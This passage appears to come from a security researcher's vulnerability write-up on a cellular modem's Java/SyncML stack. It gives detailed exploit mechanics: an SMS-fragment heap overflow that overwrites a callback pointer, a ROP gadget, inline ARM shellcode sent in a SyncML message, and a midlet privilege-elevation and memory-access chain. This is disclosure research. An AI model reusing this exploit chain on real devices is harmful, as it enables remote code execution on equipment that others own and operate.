0000: 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 00 00 EXPLOIT_FRAG....
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 00 70 .......D3".....p
0050: 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 c0 V.Uq...T........
0060: fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ac ................
0070: ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 fc ................
0080: fb bd 86 99 80 04 86 fc fb bd 86 b0 01 be 86 ...............
telcin> telcin> recvfrag -f 48/70 -i 1 -d $EXPLOIT_FRAG
fragment 48/70, id 00000001
data
00000000: 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 00 00 EXPLOIT_FRAG....
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 00 70 .......D3".....p
00000050: 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 c0 V.Uq...T........
00000060: fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ac ................
00000070: ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 fc ................
00000080: fb bd 86 99 80 04 86 fc fb bd 86 b0 01 be 86 ...............
SMS
- FirstOctet
00000000: 70 p
- Addr: +48xxxxxxxx
00000000: 0b 91 84 xx xx xx xx xx ........
- PID
00000000: 00 .
- DCS
00000000: 14 .
- TimeStamp
00000000: 17 03 06 13 33 0c 04 ....3..
- UserData
* hdr len 05
00000000: 00 03 01 46 30 ...F0
* ud len (with hdr) 95
00000000: 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 00 00 EXPLOIT_FRAG....
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 00 70 .......D3".....p
00000050: 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 c0 V.Uq...T........
00000060: fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ac ................
00000070: ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 fc ................
00000080: fb bd 86 99 80 04 86 fc fb bd 86 b0 01 be 86 ...............
OS MSG
00000000: b0 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx .....!.w.p......
00000010: xx xx 00 14 17 03 06 13 33 0c 04 95 05 00 03 01 ........3.......
00000020: 46 30 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 F0EXPLOIT_FRAG..
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 .........D3"....
00000070: 00 70 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 .pV.Uq...T......
00000080: 00 c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 ................
00000090: 00 ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be ................
000000a0: 86 fc fb bd 86 99 80 04 86 fc fb bd 86 b0 01 be ................
000000b0: 86 .
SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task
res: 0x00000000
```
The exploit fragment is generated in such a way, so that the function callback
corresponding to SyncML Alert command gets overwritten with 0x86048099 value.
The memory content reveals that the overwrite indeed took place. It can be
seen from location 0x83cd5397 (offset 0x207f = frag idx 0x2f * 0xb1):
```
telcin> telcin> dmem 0x83cd3318 0x2800
83cd3318: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ CONCATMEM (MAX 4 parts)
83cd3328: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd3338: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
83cd33b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd33c8: 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx .*....!.w.p..... SMS FRAGMENT2 BODY
83cd33d8: xx xx xx 00 14 17 03 06 13 31 21 04 0f 05 00 03 .........1!.....
83cd33e8: 01 04 02 66 72 61 67 6d 65 6e 74 32 00 00 00 00 ...fragment2....
83cd33f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
...
83cd35c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd35d8: 00 00 00 00 44 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ....D...........
83cd35e8: 00 00 44 00 00 00 00 00 44 33 22 11 f1 02 00 00 ..D.....D3"..... NODE /DMS/2006
83cd35f8: a2 73 ea 55 09 0f 00 00 ee 0e 00 00 01 00 40 00 .s.U..........@.
83cd3608: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 36 2e ...../DMS/f2006.
83cd3618: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd3628: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
...
83cd44c8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd44d8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd44e8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 00 44 2e ..............D.
83cd44f8: 44 33 22 11 09 0f 00 00 a3 73 ea 55 09 0f 00 00 D3"......s.U.... NODE /DMS/2006 (MIRROR)
83cd4508: ef 0e 00 00 01 00 40 00 01 bb aa 86 2e 2f 44 4d ......@....../DM
83cd4518: 53 2f 66 32 30 30 36 2e 2e 2e 2e 2e 2e 2e 2e 2e S/f2006.........
83cd4528: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
...
83cd5388: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e b0 ................ OVERFLOWING FRAGMENT DATA
83cd5398: 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx xx ....!.w.p.......
83cd53a8: xx 00 14 17 03 06 13 33 0c 04 95 05 00 03 01 46 .......3.......F
83cd53b8: 30 45 58 50 4c 4f 49 54 5f 46 52 41 47 00 00 00 0EXPLOIT_FRAG...
83cd53c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd53d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd53e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
83cd53f8: 00 00 00 00 00 00 00 00 44 33 22 11 09 0f 00 00 ........D3"..... OMADM CALLBACK STRUCT
83cd5408: 70 56 aa 55 71 00 00 00 54 00 00 00 01 00 00 00 pV.Uq...T.......
83cd5418: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................
83cd5428: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................
83cd5438: fc fb bd 86
99 80 04 86 <----------------------------------------- ALERT FUNCTION CALLBACK
fc fb bd 86 b0 01 be 86 ................ SET TO 0x86049088
83cd5448: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8...........
83cd5458: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X...............
83cd5468: 00 00 00 00 44 c0 c6 83 44 33 22 11 71 00 00 00 ....D...D3".q... NODE /DMS/2007
83cd5478: 0d 74 ea 55 41 0f 00 00 21 0f 00 00 01 00 40 00 .t.UA...!.....@.
83cd5488: 01 bb aa 86 2e 2f 44 4d 53 2f 66 32 30 30 37 2e ...../DMS/f2007.
83cd5498: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
83cd54a8: 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e ................
```
The above indicates that arbitrary heap layout leading to a carefully selected
code pointer overwrite was successfully achieved.
###### EXPLOIT MECHANICS EXPLAINED
Now, as one can assume that arbitrary code pointer can be overwritten, it is
time to check whether this can lead to a successfull code execution too (that
this code pointer can be used to direct code execution to user provided data).
I have investigated the handling of SyncML alert command (`test.dms` script) for
that purpose.
The DMS server was instructed to wait before sending the request (`wait` script
command).
The `dmstruc` structure was again inspected to see the location of SyncML callback
pointers:
```
telcin> dmstruc
OMADM tree: 0x81ede8d8
struc addr: 0x83c84cc0
ptr table: 0x83be7ca0
telcin> dmem 0x83be7ca0 0x54
83be7ca0: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................
83be7cb0: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................
83be7cc0: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D...........
83be7cd0: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8...........
83be7ce0: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X...............
83be7cf0: 00 00 00 00 ....
```
Pointer for Alert command (offset 0x14) was hijacked with the use of a custom
hook API:
```
telcin> hook -c 0x83be7cc4 -f entry -h mprobe=sp:0x100
telcin> hook -i 1
telcin> hook -e 1
```
Upon sending the Alert command by the DMS server (key pressed at the server console),
the hook got executed and the content of the program stack at the time of Alert command
execution could be investigated:
```
telcin> hook -p 1
[01] entry IE addr 0x83c85340 location 0x83be7cc4 callcnt 0x0001
[HANDLER MEM PROBE]
- type: 3
- base_addr: 83c86c80
- call_addr: 83c6b538
- data: 83c85020
- data size: 00000108
data addr: 83c70688
data
0000: 8c 06 c7 83 a8 59 c8 83 8d 6d c8 83 03 00 00 00 .....Y...m......
0010: 29 00 00 00 c0 4c c8 83 f8 06 c7 83 04 00 00 00 )....L..........
0020: c0 4c c8 83 01 00 00 00 b8 12 d9 80 68 15 c0 86 .L..........h...
0030: d8 e8 ed 81 f8 06 c7 83 00 00 00 00 07 00 00 00 ................
0040: 01 00 00 00 e0 4c bc 86 18 6d c8 83 40 9c 00 00 .....L...m..@...
0050: c8 00 00 00 e0 01 00 00 00 00 00 00 7c a7 ba 86 ............|...
0060: d8 e8 ed 81 00 00 00 00 00 00 00 00 00 00 00 00 ................
0070: 00 00 00 00 85 00 00 00 58 5f ba 83 78 17 c7 83 ........X_..x...
0080: b8 12 d9 80 50 6c c8 83 b8 12 d9 80 98 84 17 81 ....Pl..........
0090: da 01 00 00 c7 02 00 00 30 b5 c7 83 60 c7 c6 83 ........0.......
00a0: 00 00 00 00 dc 2b be 86 02 00 00 00 02 00 00 00 .....+..........
00b0: 50 6c c8 83 02 00 00 00 67 00 00 00 02 00 00 00 Pl......g.......
00c0: 00 00 00 00 00 00 00 00 00 00 00 00 aa aa aa aa ................
00d0: aa aa aa aa aa aa aa aa 00 00 00 00 00 00 00 00 ................
00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
```
Stack content revealed link register value (calling location `0x86C01568`) and as
such it could be compared with the actual code disassembly:
```
ROM:86C00C30 agsr_mgrProcessNextCommand ; CODE XREF: agsr_smlProcessData+50ˇp
ROM:86C00C30
ROM:86C00C30 var_30 = -0x30
ROM:86C00C30 var_2C = -0x2C
ROM:86C00C30 var_28 = -0x28
ROM:86C00C30 var_24 = -0x24
ROM:86C00C30 var_20 = -0x20
ROM:86C00C30
ROM:86C00C30 PUSH {R4-R9,LR}
ROM:86C00C34 SUB SP, SP, #0x14 ; static Ret_t mgrProcessNextCommand(InstanceID_t id, InstanceInfoPtr_t pInstanceInfo)
ROM:86C01564 BL agsr_mgrProcessNextCommand ; commands processing inside
ROM:86C01568 MOV R5, R0
```
Further analysis and hooking revealed that the pointer at stack location `[sp+8]`
pointed to the WBXML data immediately following the Alert token:
```
telcin> dmstruc
OMADM tree: 0x81ede8d0
struc addr: 0x83be7a38
ptr table: 0x83ba5c58
telcin> dmem 0x83ba5c58 0x54
83ba5c58: c0 fd bd 86 a4 ff bd 86 00 00 00 00 00 00 00 00 ................
83ba5c68: ac ff bd 86 ec ff bd 86 f4 ff bd 86 10 00 be 86 ................
83ba5c78: fc fb bd 86 44 00 be 86 fc fb bd 86 b0 01 be 86 ....D...........
83ba5c88: 00 00 00 00 38 05 be 86 fc fb bd 86 fc fb bd 86 ....8...........
83ba5c98: 58 04 be 86 00 00 00 00 dc 07 be 86 e4 07 be 86 X...............
83ba5ca8: 00 00 00 00 ....
telcin> hook -c 0x83ba5c7c -f entry -h mprobe=[sp+8]:100
telcin> hook -i 0
telcin> hook -e 0
telcin> hook -p 0
[00] entry IE addr 0x83c85120 location 0x83ba5c7c callcnt 0x0001
[HANDLER MEM PROBE]
- type: 3
- base_addr: 83c872d0
- call_addr: 83c85a28
- data: 83c85c20
- data size: 0000006c
data addr: 83c7194d
data
0000: 01 01 01 01 02 03 04 05 ff ff da ff 52 01 01 01 ............R...
0010: 00 01 6f 03 49 4d 45 49 3a 33 35 31 32 34 39 39 ..o.IMEI:3512499
0020: 35 34 38 39 36 30 38 38 00 01 68 03 68 74 74 70 54896088..h.http
0030: 3a 2f 2f 38 33 2e 38 2e 38 33 2e 31 37 32 3a 34 ://83.8.83.172:4
0040: 34 33 00 01 4f 03 32 31 32 00 01 01 69 4b 03 32 43..O.212...iK.2
0050: 00 01 5c 03 33 00 01 4c 03 31 38 00 01 4a 03 47 ....3..L.18..J.G
0060: 65 74 00 01 et..
```
The SyncML Alert command sent to the device had a sequence of "01 01 01 01 02 03 04 05"
data injected on purpose and immediately following it:
```
- MSG FROM SERVER
data
0000: 02 a4 01 6a 00 6d 6c 71 03 31 2e 32 00 01 72 03 ...j.mlq.1.2..r.
0010: 44 4d 2f 31 2e 32 00 01 65 03 33 34 31 32 00 01 DM/1.2..e.3412..
0020: 5b 03 34 00 01 6e 57 03 49 4d 45 49 3a 33 35 31 [.4..nW.IMEI:351
0030: 32 34 39 39 35 34 38 39 36 30 38 38 00 01 01 67 249954896088...g
0040: 57 03 68 74 74 70 3a 2f 2f 38 33 2e 38 2e 38 33 W.http://83.8.83
0050: 2e 31 37 32 3a 34 34 33 00 01 01 01 00 00 6b 46 .172:443......kF
0060: 4b 03 32 33 00 01 4f 03 61 6c 65 72 74 5f 64 61 K.23..O.alert_da
0070: 74 61 00 01 01 01 01 01 01 02 03 04 05 ff ff da ta..............
0080: ff 52 01 01 01 .R...
[SyncML]
* wbxml_ver: 02
* publicid: 00001201 [-//SYNCML//DTD SyncML 1.2//EN]
* charset: 6a
strtable [0 bytes]
1.2DM/1.234124IMEI:35124995489608823
alert_data
```
All of the above implicates that one can place arbitrary code (ARM code) as part
of this data too. What needs to be solved is how to transfer code execution to
such as location (to location pointed by `[sp+8]` pointer).
The stack layout at the time of Alert callback invocation was the following:
```
off 00: 8c 06 c7 83 local stack frame, size 0x14 (sp register points here)
off 04: a8 59 c8 83
off 08: 8d 6d c8 83 ptr to data following Alert command ("01 01 01 01 02 03 04 05"...)
off 0c: 03 00 00 00
off 10: 29 00 00 00
off 14: c0 4c c8 83 r4 (saved registers)
off 18: f8 06 c7 83 r5
off 1c: 04 00 00 00 r6
off 20: c0 4c c8 83 r7
off 24: 01 00 00 00 r8
off 28: b8 12 d9 80 r9
off 2c: 68 15 c0 86 lr
```
This corresponds to the `agsr_mgrProcessNextCommand` subroutine prolog shown above.
All one needs to do to transfer code execution to arbitrary user provided data is
to pop two words from the stack and use a 3rd one as a PC register value:
```
pop {reg1,reg2}
pop {pc}
```
Such code sequences can be easily found in the device firmware code:
```
SEQUENCE 1
ROM:86048098 POP {R4,R5,PC}
ROM:8604809A ; ---------------------------------------------------------------------------
ROM:8604809A
ROM:8604809A loc_8604809A ; CODE XREF: sub_86048054+2C^j
ROM:8604809A ADDS R0, R0, #7
SEQUENCE 2
ROM:860480A6 POP {R4,R5,PC}
ROM:860480A6 ; End of function sub_86048054
ROM:860480A6
ROM:860480A8
ROM:860480A8 ; =============== S U B R O U T I N E =======================================
ROM:860480A8
ROM:860480A8
ROM:860480A8 sub_860480A8
```
Now, SMS handling issue might simply overwrite the Alert pointer of `dmstruc` data with the value
of (`0x86048098+1`). As a result, handling of the Alert command would get dispatched to user
provided code (code that is provided over the network message).
The described approach is implemented by the POC. SyncML Alert callback is overwritten with
the address of `0x86048098+1` (`+1` denotes the required switch to ARM Thumb code).
###### CLEAN EXIT
The nature of the SMS fragment vulnerability along the mechanism of subverting code execution
make it possible to achieve the so called "clean exit". This means, that arbitrary code executed
through Alert command handler can return in a safe manner to the original code flow.
The stack layout at the time of Alert callback invocation is the following:
```
off 00: 03 00 00 00 <----- SP at the time of Alert command execution points here
off 04: 29 00 00 00
off 08: c0 4c c8 83 r4 (saved registers)
off 0c: f8 06 c7 83 r5
off 10: 04 00 00 00 r6
off 14: c0 4c c8 83 r7
off 18: 01 00 00 00 r8
off 1c: b8 12 d9 80 r9
off 20: 68 15 c0 86 lr
```
Arbitary return to the original code flow (caller subroutine) can be easily achieved through
the following sequence of instructions:
```
pop {reg1,reg2}
pop {r4-r9,pc}
```
The goal of the first `pop` is to clean the local stack frame in full (local stack frame size
is 0x14, the initial 3 words have been popped at the time of diverting execution to user provided
code, there are two remaining words though).
The second `pop` mimics epilog of the function where code execution happens:
```
ROM:86C00D4C loc_86C00D4C ; CODE XREF: agsr_mgrProcessNextCommand+288↓j
ROM:86C00D4C ; agsr_mgrProcessNextCommand+344↓j ...
ROM:86C00D4C ADD SP, SP, #0x14
ROM:86C00D50 POP {R4-R9,PC}
```
As a result, executed user code acts as if it was simply injected into the code path of SyncML
command dispatcher. Regardless of the abnormal code injection, the device can operate normally
without any reboot, etc. This is due to the fact that no memory / register state corruption
takes place, just a single pointer overwrite.
Heap implementation specifics play a key role here too. Instead of real pointer values denoting
`prev` / `next` heap chunks, the implementation relies on relative offsets.
Predictable heap layout makes these offsets constant (easy to overwrite), thus heap integrity
can be maintained (it should be mentioned that heap chunks contain a checksum that verifies
header integrity, these do not matter in the context of the demonstrated exploitation method).
###### TEST SHELLCODE
The following assemby code was used as a test of a verification of a successfull POC execution
(remote code execution of user provided code on a target device):
```
.global _start
_start:
b _skip
.word MAGIC_START
_create_dir:
.word 0x8617B4AD // create dir UtaOS call
_dir_name:
.ascii "F:/roota/test"
.align 4
_skip:
push {r0-r12}
adr r0,_dir_name
adr r4,_create_dir // load dir creation subroutine
ldr r4,[r4]
.align 4
blx r4 // call it
nop
pop {r0-r12}
pop {r0}
pop {r0}
mov r0,#1 // signal error to SyncML dispatcher subroutine
pop {r4-r9,pc} // pop registers and return
end:
.align 4
.word MAGIC_END
```
This code creates a test directory and implements a clean exit described above.
There is on more quirk requiring explanation regarding clean code implementation though.
As user provided code is embedded in SyncML WBXML document immediately following the Alert
command token, upon completion of the Alert command dispatch, an attempt might be made to
process bytes from the assembly code. This can easily lead to a device boot, freezing, etc.
There is a simple trick that can force SyncML WBXML processing to stop immediately following
the Alert command handling (and user provided code execution) though. All one needs is to
signal the error to the dispatcher soubroutine. This can be accomplished by returning a non-zero
status value from the command handler. This explain the reason for including the `mov r0,#1`
instruction in the code.
It should be also mentioned that DMS server can potentially customize the target code to
execute on a target device (sample code requires the knowledge of firmware addresses such
as the directory creation UtaOS call). This is not an obstacle though as `./DevDetail/SwV`
node can be queried for the exact firmware version of a target device.
More complex attack scenarios can exploit some of the ideas depicted in `EXPLOIT PAYLOAD`
paragraph.
##### PHASE 4 - ARBITRARY CODE EXECUTION
The overwritten Alert command pointer can be finally used. Upon pressing the key at the DMS
server console, the Alert command is sent to the target device:
```
press key to send payload
- MSG FROM SERVER
data
0000: 02 a4 01 6a 00 6d 6c 71 03 31 2e 32 00 01 72 03 ...j.mlq.1.2..r.
0010: 44 4d 2f 31 2e 32 00 01 65 03 33 34 31 32 00 01 DM/1.2..e.3412..
0020: 5b 03 34 00 01 6e 57 03 49 4d 45 49 3a 33 35 31 [.4..nW.IMEI:351
0030: 32 34 39 39 35 34 38 39 36 30 38 38 00 01 01 67 249954896088...g
0040: 57 03 68 74 74 70 3a 2f 2f 38 33 2e 38 2e 32 37 W.http://83.8.27
0050: 2e 31 38 33 3a 34 34 33 00 01 01 01 00 00 6b 46 .183:443......kF
0060: 4b 03 32 36 00 01 4f 03 61 6c 65 72 74 64 61 74 K.26..O.alertdat
0070: 61 00 01 01 <---------------------------------------------------- END of ALERT
06 00 00 ea 52 53 47 41 ad b4 17 86 a.......RSGA.... START OF USER ASM CODE
0080: 46 3a 2f 72 6f 6f 74 61 2f 74 65 73 74 00 00 00 F:/roota/test...
0090: 00 00 a0 e1 ff 1f 2d e9 20 00 4f e2 28 40 4f e2 ......-...O.(@O.
00a0: 00 40 94 e5 34 ff 2f e1 00 00 a0 e1 ff 1f bd e8 .@..4./.........
00b0: 04 00 9d e4 04 00 9d e4 01 00 a0 e3 f0 83 bd e8 ................
00c0: 00 00 a0 e1 52 01 01 01 ....R...
[SyncML]
* wbxml_ver: 02
* publicid: 00001201 [-//SYNCML//DTD SyncML 1.2//EN]
* charset: 6a
strtable [0 bytes]
1.2DM/1.234124IMEI:35124995489608826
alertdata
## SESSION 0/1
```
This command is specially crafted as:
- the Alert command needs to and at the adress that corresponds to ARM code location (adress mod 4)
- the ARM assembly code gets inlined in the WBXML document immediately following the Alert command
representation.
As a result, the assembly code gets executed on a target device. The device is not rebooted and
continues operation as usual.
Successfull creation of a `test` directory can be verified on a target device too:
```
telcin> ls
[a:/]
ATSJMLED.jad --r 350
ATSJMLED.jar --r 345412
agent.jar --- 61865
agent.jad --- 416
test/ d-- 0
```
### NOTES ON ATSJMLED
ATSJMLED contains support for sending responses by SMS. However, this functionality is not enabled
in the application.
If this was the case, there would not be any need to brute force the SPC at all as ATSJMLED has
support for the MOD command:
```
if(s1.toUpperCase().indexOf("MOD") > -1)
{
String s2 = moduleStatusStringJSON();
System.out.println("[HardwareManager]: Module Status: " + s2);
SmsHandler.getInstance().smsSend(s, s2, 1);
flag = true;
}
```
The code implicates that JSON status should be sent as a response. This status contains IMEI and
IMSI values required for device unlocking (SPC value computation):
```
public String moduleStatusStringJSON()
{
String s = null;
try
{
StringBuffer stringbuffer = new StringBuffer();
stringbuffer.append("{ ");
stringbuffer.append("\"MOD\": { ");
stringbuffer.append("\"mno\": \"");
stringbuffer.append(NetworkMonitor.getNetworkDetails(0));
stringbuffer.append("\", ");
stringbuffer.append("\"rat\": ");
stringbuffer.append(NetworkMonitor.getNetworkDetails(1));
stringbuffer.append(", ");
stringbuffer.append("\"rsrp\": ");
stringbuffer.append(NetworkMonitor.getNetworkDetails(2));
stringbuffer.append(", ");
if(!NetworkMonitor.getNetworkDetails(1).equals("0"))
{
stringbuffer.append("\"rsrq\": ");
stringbuffer.append(NetworkMonitor.getNetworkDetails(3));
stringbuffer.append(", ");
}
stringbuffer.append("\"temp\": ");
stringbuffer.append(module_Temperature_degC);
stringbuffer.append(", ");
stringbuffer.append("\"vbatt\": ");
stringbuffer.append(battery_Voltage_mV);
stringbuffer.append(", ");
stringbuffer.append("\"conn\": ");
stringbuffer.append(ConnectionManager.houseKeepingTimerTicks);
stringbuffer.append(", ");
stringbuffer.append("\"mcc\": ");
stringbuffer.append(NetworkMonitor.getNetworkDetails(4));
stringbuffer.append(", ");
stringbuffer.append("\"mnc\": ");
stringbuffer.append(NetworkMonitor.getNetworkDetails(5));
stringbuffer.append(", ");
stringbuffer.append("\"lac\": \"");
stringbuffer.append(NetworkMonitor.getNetworkDetails(6));
stringbuffer.append("\", ");
stringbuffer.append("\"cid\": \"");
stringbuffer.append(NetworkMonitor.getNetworkDetails(7));
stringbuffer.append("\", ");
stringbuffer.append("\"memfree\": ");
stringbuffer.append(memoryFreePC);
stringbuffer.append(", ");
stringbuffer.append("\"threads\": ");
stringbuffer.append(threadsRunning);
stringbuffer.append(", ");
stringbuffer.append("\"ffsfree\": ");
stringbuffer.append(ffsFreePC);
stringbuffer.append(", ");
stringbuffer.append("\"imei\": \"");
if(moduleIMEI.length() > 4)
{
if(moduleIMEI.length() > 9)
{
stringbuffer.append(moduleIMEI.substring(0, 5));
stringbuffer.append("-");
stringbuffer.append(getRedactedIMEI());
} else
{
stringbuffer.append(getRedactedIMEI());
}
} else
{
stringbuffer.append(moduleIMEI);
}
stringbuffer.append("\", ");
stringbuffer.append("\"imsi\": \"");
String s1 = SimManager.getIMSI();
if(s1.length() > 4)
{
if(s1.length() > 9)
{
stringbuffer.append(s1.substring(0, 5));
stringbuffer.append("-");
stringbuffer.append(s1.substring(s1.length() - 4, s1.length()));
} else
{
stringbuffer.append(s1.substring(s1.length() - 4, s1.length()));
}
} else
{
stringbuffer.append(s1);
}
stringbuffer.append("\", ");
stringbuffer.append("\"firmware\": \"");
stringbuffer.append(firmware_Version);
```
The `smsSend` method does not work as `start` method of Smshandler is not called. It is not
clear if this was done on purpose or by mistake...
Additionally, upon ATSJMLED exploitation, there is a potential to issue AT command for ove the air
application provisioning (`AT^SJOTAP`) that result in the following:
- change of Java OTA firmware update parameters such as server url,
- Java firmware update start.
As a result, attacker midlet might be fetched from a remote Internet location and installed on a
device. Such a midlet could be then started (another AT command) and upon launch, it could proceed
with a privilege elevation attack, files theft, backdoor install, etc.
## PRIVILEGED ELEVATION ATTACK
ISSUES 1-7 are illustrated by the Agent midlet (`midlet\agent\src` directory).
The `ai.scr` script can be used to install Agent midlet in a target device:
```
telcin> run ai.scr
telcin> telcin> print "### installing Agent"
### installing Agent
telcin> telcin> put midlet\agent\agent.jar a:/agent.jar
ERROR: path not found
uploading a:/agent.jar
[###############################]
telcin> telcin> put midlet\agent\agent.jad a:/agent.jad
uploading a:/agent.jad
[###############################]
telcin> telcin> sleep 200
telcin> telcin> install a:/agent.jad
OK
telcin> telcin>
telcin> start a:/agent.jad
OK
```
Agent presence / execution status can be checked with the use of the `agent` command:
```
telcin> agent
AGENT ready
```
or `appinfo` command:
```
telcin> appinfo -r
#### RUNNING APPS ####
[ATSJMLED]
url: a:/ATSJMLED.jad
vendor: Mullenger
version 0.1.27
autostart: 1
priority: 0
[Java Remote Control MIDlet Suite]
url: a:/JRC-1.62.04.jad
vendor: Cinterion
version 1.62.04
autostart: 1
priority: 1
[agent]
url: a:/agent.jad
vendor: AGSecRes
version 1.0
autostart: 0
priority: 0
telcin>
```
The log corresponding to Agent midlet installation can be checked in `logs\agent.install\console.log`.
In general, Agent installation and privilege elevation follows these steps:
- Agent midlet is started, if it is not privileged, privilege elevation proceeds, if it
is privileged:
* bytecode verification is turned off for the current Isolate
* AGNT AT command is registered and Agent is ready for serving it
- if privilege elevation is needed the following happens:
* installer JAD and JAR files are created from the original Agent JAR file
* the installer midlet is executed, it patches the files corresponding to
the Agent midlet (to mark it as fully privileged) in `cwmjava` directory
* the Agent midlet is started again
To be true, more action takes place during the process, but the above is a good summary of how
privilege elevation attack proceeds.
It's alsow worth to mention that target Java VM implements extra isolation for midlet aplications
with respect to static data. In a classic Java VM, static variables can be accessed by any code
(as long ac variable access allows for it). In CLDC VM, memory for static variables is routed to
proper memory locations depending on the application. In this context, access to static variables
is done in a similar fashion to TLS (thread local storage). This also means that what might be
system level globals are not necessarily accessible to attacker code even if access to a static
variable is gained (the access will be done to a copy of the variable created for attacker's
application).
This doesn't matter much though in the context of gaining native memory and code execution access
on a target device.
## NATIVE MEMORY ACCESS
Upon bytecode verification disabling, arbitrary type confusion can be used to set up a condition
leading to arbitrary memory access (read and write).
The actual memory access is established through a fake byte table (the one with an overlong size
so that it could be used as a widow to system memory).
See `Memory` and `Unsafe` classes implementations for more details.
## NATIVE CODE EXECUTION
Arbitrary memory access can be turned into native memory execution. In a Proof of Concept code
this is accomplished through the change of a runtime Java method properties (temporary change
of method object in such a way, so that it represents a native method).
See `NativeCode` class for more details.
The primary difference from the usual runtime method object change lies in the fact that the
change doesn't involve only the change of methods flags (from `ACC_JAVA` to `ACC_NATIVE`). It
requires the change of the whole runtime object. This is due to the fact that target VM is
a CLDC HotSpot Implementation, which is highly otimized Java VM that executes compiled, not
interpreted code. As such, it relies on many dedicated runtime objects to speed up code
execution (a native object corresponding to a native method is one of them).
## REVERSE ENGINEERING HELPERS
Both the Agent and command line shell contain some support for reverse engineering, This include,
but is not limited to the following:
- memory search for ARM instruction location that refer arbitrary addresses (branches, ldr and adr
instruction)
- memory search for strings and words.
For instance, the following code snippet shows code that triggers execution of AT command:
```
ROM:861AF2C8 agsr_send_atcmd____ ; CODE XREF: sub_861A2F08+46^p
ROM:861AF2C8 ; agsr_bind_atr_handles+78^p ...
ROM:861AF2C8 PUSH {R3-R7,LR}
ROM:861AF2CA MOV R5, R3 ; cmd size
ROM:861AF2CC MOV R6, R1 ; cmd buf
ROM:861AF2CE MOV R7, R2 ; buf size
ROM:861AF2D0 BL agsr_device_from_handle____
ROM:861AF2D4 MOVS R4, R0
ROM:861AF2D6 BEQ locret_861AF2F6 ; -> error
ROM:861AF2D8 LDR R0, [R4] ; ATProcessor ?
ROM:861AF2DA MOV R2, R5 ; cmd size
